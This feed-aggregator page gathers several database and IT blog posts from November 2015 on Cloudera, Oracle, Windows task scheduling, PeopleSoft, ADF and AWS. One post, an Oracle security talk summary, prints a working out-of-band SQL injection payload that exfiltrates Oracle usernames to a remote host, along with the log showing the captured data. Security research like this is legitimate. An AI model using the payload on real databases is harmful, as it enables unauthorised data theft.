Skip navigation.

Feed aggregator

The questionably named Cloudera Navigator Optimizer

DBMS2 - Thu, 2015-11-19 05:55

I only have mixed success at getting my clients to reach out to me for messaging advice when they’re introducing something new. Cloudera Navigator Optimizer, which is being announced along with Cloudera 5.5, is one of my failures in that respect; I heard about it for the first time Tuesday afternoon. I hate the name. I hate some of the slides I saw. But I do like one part of the messaging, namely the statement that this is about “refactoring” queries.

All messaging quibbles aside, I think the Cloudera Navigator Optimizer story is actually pretty interesting, and perhaps not just to users of SQL-on-Hadoop technologies such as Hive (which I guess I’d put in that category for simplicity) or Impala. As I understand Cloudera Navigator Optimizer:

  • It’s all about analytic SQL queries.
  • Specifically, it’s about reducing duplicated work.
  • It is not an “optimizer” in the ordinary RDBMS sense of the word.
  • It’s delivered via SaaS (Software as a Service).
  • Conceptually, it’s not really tied to SQL-on-Hadoop. However, …
  • … in practice it likely will be used by customers who want to optimize performance of Cloudera’s preferred styles of SQL-on-Hadoop, either because they’re already using SQL-on-Hadoop or in connection with an initial migration.

It grows out of, which started with the intention of being a general workload optimizer for Hadoop and wound up with this beta announcement of a tuning adviser for analytic SQL.

Right now, the Cloudera Navigator Optimizer service is:

  • Query code in.
  • Information and advice out.

Naturally, Cloudera’s intention — perhaps as early as at first general availability — is for the output to start including something that’s more like automation, e.g. hints for the Impala optimizer.

As Anupam Singh describes it, there are basically four kinds of problems that Cloudera Navigator Optimizer can help with:

  • ETL (Extract/Transform/Load) might repeat the same operation over and over again, e.g. joining to a reference table to help with data cleaning. It can be an optimization to consolidate some of that work. (The same would surely also be true in cases where the workload is more properly described as ELT.)
  • For business intelligence it is often helpful to materialize aggregates or result sets. (This is, of course, why materialized views were invented in the first place.)
  • Queries-from-hell — perhaps thousands of lines of SQL long — can perhaps be usefully rewritten into a sequence of much shorter queries.
  • Ad-hoc query workloads can have enough repetition that there’s opportunity for similar optimizations. Anupam thinks his technology has enough intelligence to detect some of these patterns.

Actually, all four of these cases can involve materializing tables so that they don’t need to keep being in part or whole recreated.

In essence, then, this is a way to add in more query pipelining than the underlying data store automagically provides on its own. And that seems to me like a very good idea to try. The whole thing might be worth trying out at least once, even if your analytic RDBMS installation has nothing to do with SQL at all.

Categories: Other

CDH 5.5

DBMS2 - Thu, 2015-11-19 05:52

I talked with Cloudera shortly ahead of today’s announcement of Cloudera 5.5. Much of what we talked about had something or other to do with SQL data management. Highlights include:

  • Impala and Kudu are being donated to Apache. This actually was already announced Tuesday. (Due to Apache’s rules, if I had any discussion with Cloudera speculating on the likelihood of Apache accepting the donations, I would not be free to relay it.)
  • Cloudera is introducing SQL extensions so that Impala can query nested data structures. More on that below.
    • The basic idea for the nested datatype support is that there are SQL extensions with a “dot” notation to let you get at the specific columns you need.
    • From a feature standpoint, we’re definitely still in the early days.
      • When I asked about indexes on these quasi-columns, I gathered that they’re not present in beta but are hoped for by the time of general availability.
      • Basic data skipping, also absent in beta, seems to be more confidently expected in GA.
    • This is for Parquet first, Avro next, and presumably eventually native JSON as well.
    • This is said to be Dremel-like, at least in the case of Parquet. I must confess that I’m not familiar enough with Apache Drill to compare the two efforts.
  • Cloudera is increasing its coverage of Spark in several ways.
    • Cloudera is adding support for MLlib.
    • Cloudera is adding support for SparkSQL. More on that below.
    • Cloudera is adding support for Spark going against S3. The short answer to “How is this different from the Databricks service?” is:
      • More “platform” stuff from the Hadoop stack (e.g. for data ingest).
      • Less in the way of specific Spark usability stuff.
    • Cloudera is putting into beta what it got in the acquisition, which it unfortunately is naming Cloudera Navigator Optimizer. More on that in a separate post.
    • Impala and Hive are getting column-level security via Apache Sentry.
    • There are other security enhancements.
    • Some policy-based information lifecycle management is being added as well.

While I had Cloudera on the phone, I asked a few questions about Impala adoption, specifically focused on concurrency. There was mention of:

  • Petabyte scale databases — at least one clear case for Impala/business intelligence only, and the likelihood that the Impala/BI part of other bigger installations was also in that range.
  • Hundreds of nodes.
  • 10s of simultaneous queries in dashboard use cases.
  • 1 – 3 million queries/month as a common figure.

Cloudera also expressed the opinions that:

  • An “overwhelming majority” of Cloudera customers have adopted Impala. (I imagine there’s a bit of hyperbole in that — for one thing, Cloudera has a pricing option in which Impala is not included.)
  • It is common for Impala customers to use Hive for “data preparation”.
  • SparkSQL has “order of magnitude” less performance than Impala, but a little more than performance than Hive running over either Spark or Tez.
  • SparkSQL’s main use cases are (and these overlap heavily):
    • As part of an analytic process (as opposed to straightforwardly DBMS-like use).
    • To persist data outside the confines of a single Spark job.


Categories: Other

DOAG 2015: Best of Oracle Security 2015

Alexander Kornbrust - Thu, 2015-11-19 02:27

Yesterday I gave my yearly presentation “Best of Oracle Security 2015” at the DOAG 2015 conference in Nürnberg. In this presentation I showed different Oracle exploits I found/modified released in 2015 in various sources.

One of the most interesting Oracle bugs in 2015 was CVE-2014-6577 (found by Trustwave, affecting,,, 12.1.02, fixed in April 2015 CPU). This bug can be used as helper function in Out-of-band-SQL Injection attacks. Since Oracle 11g the way via utl_http/httpuritype was closed using the ACLs. This exploit opens the possibility in 11g/12g again (if patches are not applied).

—— Out-of-Band SQL Injection Example —————-′ or  1=extractvalue(xmltype(‘<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE root [ <!ENTITY % remote SYSTEM “’||substr((select sys.stragg(distinct username||’-‘) as string from all_users),1,220)||'”> %remote; %param1;]>’),’/l’) – – [18/Nov/2015 00:48:02]  “GET /A=ANONYMOUS-APEX_040200-APEX_PUBLIC_USER-APPQOSSYS-AUDSYS-C HTTP/1.0” 404 –

—— Out-of-Band SQL Injection Example —————-

Details about a critical design flaw (using unsalted MD5 as 12c password hash) in Oracle 12c will be published in another blog entry.

How Terminal Emulation Assists Easy Data Management

Kubilay Çilkara - Wed, 2015-11-18 21:25
Just about every company will need terminal emulation at some point. Yours may not need it now, but as time goes on, the day will come when you need information that can only be accessed with an emulator. This software allows a computer to basically take on the functionality of an older version. Doing so makes it possible for the user to access data that would otherwise be impossible to find. If you’re not sold on the benefits of using this type of software, consider the following ways that it assists with making data management easier.Obtain Data from Outdated SystemsThis is the most obvious way a terminal emulator helps with data management. Right now, you could have all kinds of data out of reach because it was created with software you no longer used or stored on a platform that differs from the current one on your system.Without an emulator, you’re basically without options. You simply have to find a workaround. The best solution would involve using a machine with the old operating system installed. This isn’t just extremely inconvenient though; it also isn’t very cost-effective and is sure to become a bottleneck sooner or later.With terminal emulation, no data ever has to be out of reach. Whether its information from 10 years ago or 20, you can quickly retrieve whatever it is you need.Access Multiple Terminals at OnceThere’s far more these applications can do to assist with data management though. Over time, your company has probably—or will, someday—go through multiple platforms. This means that going back and grabbing the data you need could involve more than one system. If you tried using the aforementioned workaround, you’d be in for a huge challenge. It would take multiple computers, each with a specific operating system and then going between them to get the information you need or cross reference it as necessary.Modern emulators can access as many terminals as you need all on the same computer. Usually, it just involves putting each one on separate tabs. Not only can you get all the info you need, then, you can do it from the screen all at once. This makes it extremely easy to cross reference data from one system against others.Customize Your Queries Another great benefit that comes with terminal emulation is that you can actually customize your searches to various degrees. For many companies, accessing old data means looking at screens that represent the info in the most rudimentary of ways. There may only be a few colors used for fonts on a black screen. Obviously, this can make data management a bit of a challenge, to say the least.With the right software, though, you can control the font color, the character size, background and more. This makes it much easier to see the information you want, highlight it and otherwise keep track of the data. Never again suffer through old screens from outdated platforms when you need something.Mobile FunctionalityLike just about everything these days, terminal emulators have now gone mobile. You can now pull off emulation from just about anywhere in the world on your mobile device. This is a great way to make emulation possible for any work at home employees who may be working for your company. If you hire on a consultant or freelance professional from somewhere outside the office, mobile functionality means they can now benefit from easy data management. Next time you’re on a business trip and need to access information from yesteryear, the ability to do so will be at your fingertips. Mobile functionality may not seem like the most important aspect to have as far as emulation is concerned, but it’s better to have the option there than wish it was possible.Save MoneyData management can be a costly endeavor. Unfortunately, it’s one of those costs your company really can’t hope to avoid. You need to manage your data, so you better find room in your budget. With terminal emulation, you can at least save money on this essential process.Like we brought up earlier, without an emulator, you’re looking at a lot of hardware in order to make sure vital data is never out of reach, to say nothing of how inconvenient that option would be. You’re also looking at the potential costs of losing that data if anything happens to your dedicated machines. Furthermore, added hardware always comes with extra costs. There’s the space you need, electricity, IT support and more.In light of those added expenses, simply using emulation software should be a no-brainer. You don’t need any extra hardware and these platforms are designed to stay out of the way until you need them, so they won’t hurt your staff’s ability to use their current machines.Limitless ScalabilityNo matter what kind of software we’re talking about, scalability always needs to be a concern. Today, your company may only have so much data to manage. A year from now, though, there’s going to be a lot more. Five years from now, your company’s collection of data will be expansive.Obviously, managing this data efficiently is going to take a resource that can scale without difficulty. Keep in mind that a lot of companies increase their amount of data exponentially. This means scalability is necessary, but so is being able to scale at a moment’s notice to whatever size is needed.Terminal emulation and scalability are virtually inseparable when you have the right software. No alternative solution is going to be able to keep up. Again, if you tried using hardware to manage your data, you can forget about easy scalability and forget about doing so without spending a lot of money in the process.
Data management needs to be a priority for every organization, no matter what industry they’re in. However, simple data management isn’t enough anymore. Instead, you need emulation software that will make it easy, cost-effective and scalable. Otherwise, your business will always be greatly limited in what information it can access and the benefits that could be derived from it.

Mike Miranda writes about enterprise software and covers products offered by software companies like Rocket software about topics such as Terminal emulation,  Enterprise Mobility and more.
Categories: DBA Blogs

Windows Task Scheduler CMD

Michael Dinh - Wed, 2015-11-18 18:56

Don’t get me wrong. GUI can be terrific but it does have its place.

When the connection between you and the the target host are multiple servers across the continent, the latency will drive me crazy mad.

Hence, my exploration to learn more command line.

Enough of my rant, let’s demo.

Tested on Windows 7

Microsoft Windows [Version 6.1.7601]

List by Folders:

C:\Users\dinh>schtasks /query /fo table /nh

Folder: \
DropboxUpdateTaskUserS-1-5-21-992222644- 18-Nov-2015 11:07:00 P Ready
DropboxUpdateTaskUserS-1-5-21-992222644- 18-Nov-2015 8:07:00 PM Ready
G2MUpdateTask-S-1-5-21-992222644-2553030 18-Nov-2015 7:45:00 PM Ready
G2MUploadTask-S-1-5-21-992222644-2553030 18-Nov-2015 9:31:00 PM Ready
GoogleUpdateTaskUserS-1-5-21-992222644-2 19-Nov-2015 6:55:00 PM Ready
GoogleUpdateTaskUserS-1-5-21-992222644-2 18-Nov-2015 7:55:00 PM Ready
hpUtility.exe_{3FB4CD0B-D6EE-4B93-BD0E-C N/A                    Ready
Microsoft_Hardware_Launch_ipoint_exe     N/A                    Ready
Microsoft_Hardware_Launch_itype_exe      N/A                    Ready
Microsoft_Hardware_Launch_mousekeyboardc N/A                    Ready

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
AD RMS Rights Policy Template Management Disabled
AD RMS Rights Policy Template Management N/A                    Ready

List by TaskName:

C:\Users\dinh>schtasks /query /fo list

Folder: \
HostName:      CMWPHV1
TaskName:      \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005Core
Next Run Time: 18-Nov-2015 11:07:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA
Next Run Time: 18-Nov-2015 8:07:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \G2MUpdateTask-S-1-5-21-992222644-2553030573-2413354843-1005
Next Run Time: 18-Nov-2015 7:45:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \G2MUploadTask-S-1-5-21-992222644-2553030573-2413354843-1005
Next Run Time: 18-Nov-2015 9:31:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \GoogleUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005Core
Next Run Time: 19-Nov-2015 6:55:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \GoogleUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA
Next Run Time: 18-Nov-2015 7:55:00 PM
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \hpUtility.exe_{3FB4CD0B-D6EE-4B93-BD0E-C69652A66A6C}
Next Run Time: N/A
Status:        Ready
Logon Mode:    Interactive only

HostName:      CMWPHV1
TaskName:      \Microsoft_Hardware_Launch_ipoint_exe
Next Run Time: N/A
Status:        Ready
Logon Mode:    Interactive/Background

HostName:      CMWPHV1
TaskName:      \Microsoft_Hardware_Launch_itype_exe
Next Run Time: N/A
Status:        Ready
Logon Mode:    Interactive/Background

HostName:      CMWPHV1
TaskName:      \Microsoft_Hardware_Launch_mousekeyboardcenter_exe
Next Run Time: N/A
Status:        Ready
Logon Mode:    Interactive/Background

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
HostName:      CMWPHV1
TaskName:      \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Autom
Next Run Time: Disabled
Logon Mode:    Interactive/Background

HostName:      CMWPHV1
TaskName:      \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Autom
Next Run Time: Disabled
Logon Mode:    Interactive/Background

HostName:      CMWPHV1
TaskName:      \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manua
Next Run Time: N/A
Status:        Ready
Logon Mode:    Interactive/Background

Search for TaskName:

C:\Users\dinh>schtasks /query /fo LIST |findstr /I dropbox

TaskName:      \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005Core
TaskName:      \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA
List TaskName Summary:

C:\Users\dinh>schtasks /query /fo LIST /tn “\DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA”

Folder: \
HostName:      CMWPHV1
TaskName:      \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA
Next Run Time: 18-Nov-2015 8:07:00 PM
Status:        Ready
Logon Mode:    Interactive only
List TaskName Detail:

C:\Users\dinh>schtasks /query /fo LIST /v /tn “\DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA”

Folder: \
HostName:                             CMWPHV1
TaskName:                             \DropboxUpdateTaskUserS-1-5-21-992222644-2553030573-2413354843-1005UA
Next Run Time:                        18-Nov-2015 8:07:00 PM
Status:                               Ready
Logon Mode:                           Interactive only
Last Run Time:                        18-Nov-2015 7:07:00 PM
Last Result:                          0
Author:                               dinh
Task To Run:                          C:\Users\dinh\AppData\Local\Dropbox\Update\DropboxUpdate.exe /ua /installsource scheduler
Start In:                             N/A
Comment:                              Keeps your Dropbox software up to date. If this task is disabled or stopped, your Dropbox soft
ware will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This ta
sk uninstalls itself when t
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:
Run As User:                          dinh
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           11:07:00 PM
Start Date:                           17-Jul-2015
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        1 Hour(s), 0 Minute(s)
Repeat: Until: Time:                  None
Repeat: Until: Duration:              24 Hour(s), 0 Minute(s)
Repeat: Stop If Still Running:        Disabled


If you really want to use GUI:

Launch GUI Task Scheduler:

C:\Users\dinh>control schedtasks

Reference: Schtasks

Extent Allocation

Michael Dinh - Wed, 2015-11-18 17:43

Some references on extents dealing with extent trimming, initial extent for parallel load, tablespace fragmentation, etc…


Parallel Load: Uniform or AutoAllocate extents?

Tom Kyte covers this problem in great details in his post Loading and Extents

Initial Extent Size of a Partition Changed to 8MB from 64KB After Upgrade to or Later (Doc ID 1295484.1)


Segments of type INDEX PARTITION or INDEX SUBPARTITION will be created with 8M initial extent in version, instead of 64K in earlier versions.
Global indexes or indexes on non partitioned tables still have 64K.

PeopleTools CPU analysis and supported versions of PeopleTools (update for October 2015 CPU)

PeopleSoft Technology Blog - Wed, 2015-11-18 14:30

Questions often arise on the PeopleTools versions for which Critical Patch Updates have been published, or if a particular PeopleTools version is supported. 

The attached page shows the patch number for PeopleTools versions associated with a particular CPU publication. This information will help you decide which CPU to apply and when to consider upgrading to a more current release.

The link in "CPU Date" goes to the landing page for CPU advisories, the link in the individual date, e.g. Apr-10, goes to the advisory for that date.

The page also shows the CVE's addressed in the CPU, a synopsis of the issue and the Common Vulnerability Scoring System (CVSS) value.

To find more details on any CVE, simply replace the CVE number in the sample URL below.

Common Vulnerability Scoring System Version 2 Calculator

This page shows the components of the CVSS score

Example CVSS response policy

All the details in this page are available on My Oracle Support and public sites.

The RED column indicates the last patch for a PeopleTools version and effectively the last support date for that version.

Applications Unlimited support does NOT apply to PeopleTools versions.

Pythian Champions Gender Diversity in Tech

Pythian Group - Wed, 2015-11-18 13:45


At Pythian, we embody and value diversity in every form—in our religion (or lack thereof), our geography, our culture, and of course the location we’ve chosen for our home.  We deeply believe that the best teams are diverse and we are committed to increasing our diversity in all these areas.

We’ve been doing time-zone diversity for over a decade and we’ll keep doing it—we’re actually pretty good at it. In support of time zone diversity, we’ve become an industry leader in the art of creating high-performance teams by blending people from all over the world regardless of religion, culture, country of origin or residence. But now it’s time for us to turn our attention to gender diversity.

And so, with this note and video, I am proud to announce the Pythia Program. We’re going to increase the number of brilliant women who work with us and we will take a leadership position in a very important conversation to encourage more women to enter STEM fields and the tech industry.

Inspired by Microsoft, Twitter, Pinterest and Google, Pythian is the first technology company headquartered in Canada to announce its gender stats: 35 percent of the company’s leadership team are women, 27 percent of our managers are women and only 9 percent of technical roles at Pythian are held by women. Pythian also claims a Pythia Index of 56 percent.

The Pythia Index is the ratio of people in a business or in a team that are women leaders or roll up to a woman leader, as a percentage of total headcount. At Pythian the Pythia Index is 56%, which means that 56% of Pythianites are themselves women leaders or report up the org chart to a woman. Conversely, 44% of Pythian employees have zero women leaders all the way up the org chart from them.

So how do we currently compare to industry leaders? According to the most recent published numbers, Microsoft reported that women comprise 29.1 percent of its workforce, but only 16.6 percent work in technical positions and just 23 percent hold leadership roles. Twitter said women fill 10 percent of its technical jobs, with 21 percent in leadership. And women Googlers account for 17 percent of the search giant’s tech jobs, while only 21 percent manage others. Industry averages among all surveyed major US tech firms are 15.6% of technical roles and 29.6% of leadership.*

With this announcement, I am challenging our business to surpass industry averages within no more than three years, and sooner if possible.

The Pythia Program is central to how we plan to realize the best possible talent mix. By acknowledging and strengthening our deliberate talent blending practices, we hope not only to garner interest from potential employees, but to encourage other businesses to set similar diversity goals. This is not a corporate social responsibility initiative, it’s good for business, and it’s good for the technology sector.

Under the Pythia program we will:

  • Continue to focus on eliminating any unconscious gender biases in our recruiting and management practices.
  • Actively promote Pythian as a diversity-focused company so we can get more than our fair share of the top female leaders and tech talent.
  • Help build our future pipeline of female leaders and tech talent by working with and supporting organizations who have programs to encourage more women to go into tech.

This project is very important to me personally and I’ll continue to blog on the subject in the future.


Discover more about the Pythia Program.



Categories: DBA Blogs

Secrets of a happy Amazon hacker – IAM, MFA & locking down your account

Sean Hull - Wed, 2015-11-18 10:46
If you’re still using a password to login to your AWS account it’s time you batten down the hatches. With a little work you can dramatically improve security. 1. install command line tools First get ahold of the aws comand line tools. They’re python based so you’ll need the package manager “pip” first. $ curl … Continue reading Secrets of a happy Amazon hacker – IAM, MFA & locking down your account →

Are you a PL/SQL Developer? [Fixed Link]

Gerger Consulting - Wed, 2015-11-18 06:18
Then attend our webinar and learn how you can build first class web applications with PL/SQL.

The application above is built using only PL/SQL and Formspider. No Java, no JavaScript. Join our webinar and learn how. Every attendee will get priority access to the source code of this application. We'll also give you an opportunity to purchase Formspider at a discount. :-) Sign up today.
Categories: Development

Presentation slides for my presentation at DOAG 2015 - Apache - ORDS Setup for Production Environments

Dietmar Aust - Wed, 2015-11-18 05:41
Hi guys,

here you can find the slide, the config files and installation steps for my presentation at the DOAG conference in Nürnberg on 18.11.2015:



IBM Bluemix Secure Gateway Service Step by Step Demo

Pas Apicella - Tue, 2015-11-17 21:15
I created this simple step by step guide on how to use the IBM Secure Gateway Service. Very simple demo which shows how easy it is to set this up and open a world of possibilities from on premise resources directly exposed via Bluemix whether it's PUBLIC or Dedicated/LOcal Instances
Categories: Fusion Middleware

Remote TaskFlows/Remote Region - For Advanced Reusability in Oracle ADF

Shay Shmeltzer - Tue, 2015-11-17 17:56

A new feature in Oracle ADF 12.2.1 is Remote TaskFlows (or Remote Regions) - this allows one application to have regions inside it that are populated from taskflows that are running as part of another application.

Initially some of you might be a bit confused - "wasn't this something that we were able to do with ADF libraries already? We could just package a taskflow from one app as an ADF library and use that library in the other application".

The slight distinction here is that the library approach had the taskflow running as part of your consuming application. Remote task flows on the other hand have the taskflow running as part of the other application and don't require the creation of a library. As a result they also don't require an ADF library update when the taskflow changes- the minute the changes are deployed on the remote server, your application will get the new version. 

One way of thinking about remote taskflows is as adding a "portal" like functionality to your ADF app - allowing one app to display parts of another app leveraging the other app resources for executing any logic. 

Here is a quick video demoing how to configure and run this.

The URLs you'll need for creating the remote region resource connection are:




Note that there are some limitation on the type and functionality of taskflows that can be exposed as remote taskflows. And there are other things to consider such as security and session timeout settings. So have a read through the remote region documentation before you start leveraging this feature.

A couple of notes.

1. In the currently available 12.2.1 version of JDeveloper from OTN, there is a slight bug that will prevent you from creating the connection to the remote task flow - there is a patch available for this from Oracle Support - request the patch for bug 22132843 or 22093099.

2. At my OOW session about new features I mentioned that remote task flows are loaded in parallel, that is actually still not the case, while we started work on this capability - it didn't made it into 12.2.1. So remote task flows behave like other task flows and load in sequential way right now. 

Categories: Development

PeopleSoft Information Portal--New and Improved!

PeopleSoft Technology Blog - Tue, 2015-11-17 17:01

The PeopleSoft Info Portal is a popular one-stop shop for getting at everything PeopleSoft. If you are looking for information on PeopleSoft and wondering where to begin, that is often the best place to start. It's an easy name to remember: The new site is responsive, so you can access it from any form factor.  If you have any questions or want to find out what's new, what's coming in the future, where to learn more--try the PeopleSoft Information Portal.

High “cursor: pin S wait on X” waits?

Pythian Group - Tue, 2015-11-17 14:59

If your system meets any of the following criteria:

– Oracle or higher
– Partitioned tables
– Parallel query heavily used
– Bind variables in use, as they should be

and, you’re seeing unusually high “cursor: pin S wait on X” waits, then you may want to know that this week, patch 21834574 was released.

To give you a little bit of background information; the issue is with a new code path introduced in Oracle version 12, which is related to some of the brand new infrastructure life-cycle management (ILM) functionality. This ILM feature – whether you are intentionally using any ILM functionality or not – causes delays when a new child cursor is created in the library cache. On a client’s system we have observed waits of up to 0.3 seconds.

In a nutshell, here’s what’s happening:

– A new parallelized query using bind variables is hard parsed.
– Oracle creates a new cursor, and adds a child cursor.
– Each of your PX slaves will then wait for the following event: “cursor: pin S wait on X”.
– The mutex being waited on is of type Cursor Pin at the location “kkslce [KKSCHLPIN2]”. This is normal and these waits can’t be fully avoided.

But what’s not normal is that the mutex is being waited on for a quarter of a second in each slave session.

Oracle has now released a patch which implements a new _fix_control which can be set to enable the fix once the patch is applied. As always, please consult with Oracle Support before applying this patch and setting this parameter, to make sure that you really are seeing this particular bug. There are others in the current versions of Oracle which share very similar symptoms, and the only way to be certain is to double-check with Oracle support or development.

Happy patching!


Discover more about our expertise in the world of Oracle

Categories: DBA Blogs

Be Quick, But Don't Hurry

Floyd Teter - Tue, 2015-11-17 11:38
Over the month since I've joined Oracle, many people has asked about the work I'm doing here.  And, in all honesty, the work is so varied that I've had a difficult time describing it.

Yesterday, I was traveling from my home in Salt Lake to Oracle Corporate HQ in Redwood Shores.  Having landed in San Francisco, I was in a rush to get my rental car, make the drive to HQ, and get some productivity out of what was left of my day.

In San Francisco, you take a light rail to get from the airline terminals to the rental car building.  The rail lines run every 10 minutes.  As I was approaching the platform to pick up the light rail, one of those every-10-minute trains was just pulling into the station.  So I hefted my two carry-on bags and started a mad dash to the train.  And about four steps into that mad dash, I tripped and fell...luggaging flying, me on the ground, cussing up a storm.  Know why I tripped?  For the classic shoe lace was untied.

I was in such a hurry that I failed to check my shoelaces anywhere between leaving the plane and my failed attempt at breaking the Earth's gravitational pull.

My favorite basketball coach of all time, John Wooden, has a coach principle of "be quick, but don't hurry".  The idea was to have an efficient system and work with a sense of urgency within that system.  That's being quick.  When you step out of the boundaries to get something done as soon as possible, you're in a hurry...but at the risk of no longer being quick.  Your shoelaces come untied, you trip, and the mistake causes you to miss the light rail altogether.  You invest more time in waiting for the next opportunity...mission bjorked.

So one of the primary things I'm doing at Oracle?  Working on enabling those around me to be quick while discouraging them from being in a hurry.  That's a big chunk of what a good Center of Excellence does.

Are you a PL/SQL Developer? Are you an Oracle Forms Developer?

Gerger Consulting - Tue, 2015-11-17 01:45
Then attend our webinar and learn how you can build first class web applications with PL/SQL.

The application above is built using only PL/SQL and Formspider. No Java, no JavaScript. Join our webinar and learn how. Every attendee will get priority access to the source code of this application. We'll also give you an opportunity to purchase Formspider at a discount. :-) Sign up today.
Categories: Development